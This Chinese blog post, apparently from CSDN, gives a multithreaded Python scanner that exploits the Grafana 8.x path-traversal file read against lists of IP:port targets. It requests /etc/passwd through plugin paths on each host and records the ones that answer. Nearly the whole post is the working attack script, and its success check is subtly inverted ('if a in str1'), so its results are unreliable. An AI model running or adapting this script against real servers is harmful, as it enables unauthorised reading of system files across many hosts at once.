【渗透测试】Grafana_8.x 任意文件读取批量检测

【渗透测试】Grafana_8.x 任意文件读取批量检测

用法:
grafana_publics.txt 中放置对应的模块 “grafana”
ip+port.txt 中放置需要检查的ip,默认端口80,修改端口需要添加在后面 “127.0.0.1:3000”
python3 grafana_check_ip+port.py
Grafana_8.x_vuln_out.txt 保存输出结果

# -*- encoding: utf-8 -*-
# Time : 2021/12/07 23:05:31
# grafana_publics.txt 中放置对应的模块 "grafana"
# ip+port.txt 中放置需要检查的ip,默认端口80,修改端口需要添加在后面 "127.0.0.1:3000"
# python3 grafana_check_ip+port.py

import threading
from queue import Queue
import requests


class Check_ips(threading.Thread):
    def __init__(self, queue, file_path):
        threading.Thread.__init__(self)
        self._queue = queue
        self._file_path = file_path

    def run(self):
        while not self._queue.empty():
            Ip = self._queue.get()
            file_path_ = self._file_path
            try:
                self.check(Ip, file_path_)
            except Exception as e:
                # print(e)
                pass

    def check(self, ip, file_path_):
        f = open("./grafana_publics.txt")
        print('正在测试ip:', ip)
        for line in f:
            url = "http://" + ip + "/public/plugins/" + str.rstrip(line) + "/../../../../../../../../../../../etc/passwd"
            headers = {
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
            }
            req = requests.post(url, headers=headers, timeout=(3, 7), allow_redirects=False)
            a = req.text
            # print('当前a的值:',a)
            str1 = 'root'
            if a in str1:
                print('确认存在' + str.rstrip(line) + '路径,并存在漏洞!')
                print(url)
                with open('Grafana_8.x_vuln_out.txt', 'a+') as ff:
                    ff.write(url + '\n')
            else:
                pass
                # print('不存在漏洞!')


def check_ip(file_path):
    queue = Queue()
    with open(file_path, 'r') as f:
        for line in f.readlines():
            # print(line[:-1])
            ip = line[:-1]
            # print('正在测试ip:',ip)
            queue.put(ip)
        print('[+] Loading complite')
        threads = []
        thread_counts = 100  # 定义线程
        for i in range(thread_counts):
            threads.append(Check_ips(queue, file_path))
        for t in threads:
            t.start()
        for t in threads:
            t.join()


if __name__ == "__main__":
    file_path = 'grafana_ip+port.txt'
    check_ip(file_path)
    print('[+] check complete')
    

执行结果:
在这里插入图片描述
批量输出结果:
在这里插入图片描述
参考:https://mp.weixin.qq.com/s/kzpwFLs_-60LLO-Q4_hQlA
2021.12.7

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

久违 °

小菜鸟就要使劲飞

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值